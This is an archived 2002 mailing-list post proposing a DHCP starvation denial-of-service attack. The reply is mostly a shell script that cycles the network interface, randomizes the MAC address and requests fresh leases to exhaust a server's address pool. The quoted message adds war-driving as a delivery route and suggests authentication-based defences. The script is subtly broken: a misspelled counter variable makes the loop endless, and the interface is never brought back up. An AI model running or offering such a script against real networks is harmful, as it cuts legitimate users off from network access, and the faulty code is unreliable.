Vulnerability Development mailing list archives

Re: DoS against DHCP


From: Russell Handorf <rhandorf () mail russells-world com>
Date: Wed, 30 Jan 2002 18:34:35 -0500

#!/bin/sh
counter=0
if [ $# -eq 0 ]
then
echo "You're missing the arguement of how many times for me to repeat."
        exit 1
fi
while [ $counter -le $1 ]
do
        ifconfig eth0 down
        ./changemac -r
        pump
        ifconfig eth0
        coutner=`expr $counter + 1`
done
echo "done"

Contingent on you having changemac or some other way to randomize a new mac addy.

russ

At 02:20 PM 1/30/2002 -0800, you wrote:

I came up with this about a year back at DefCon, and told some friends
in hopes that either they or I would do something with it, but none of us had
time so here goes, and please feel free to write this yourself.  DoS against
DHCP:

        A DHCP server has only a certain amount of addresses availible.  If
you (a single malicious machine connected to the network) actively take up all
availible IP address, and compete against the machines that are currently
connected you should be able to completely take all availible IP addresses and
block access to the DHCP server.  You could do this by opening many interfaces
on a linux box and asking for many DHCP addresses and lying that you connected
before any competing machines (or DoS the competing machine directly until the
DHCP server releases the IP address to you).

        This combined with war-driving could take down any DHCP IP address
block within wireless range.  Kinda nasty, but only effective as long as you
stay connected to the network, so a compromised machine on the network might be necessary for extended DoS. Probably the way around this would be a) some sort of authentication to log into the DHCP server and or b) using leap or something
similar.  MAC addresses are spoofable, so it probably wouldn't be a good idea
to limit the number of times a particular MAC address connects to the network,
as that would just be a sloppy obfuscation.  DHCP has always seemed like a bad
idea to me.  Sorry if this seems obvious.

==================================
Russell Handorf
oooo, shiney ::Wanders after it::

www.russells-world.com
www.philly2600.net

"Computer games don't affect kids, I mean if Pacman affected us as kids, we'd all be running around in darkened rooms, munching pills and listening to repetitive music." ~unknown
==================================


Current thread: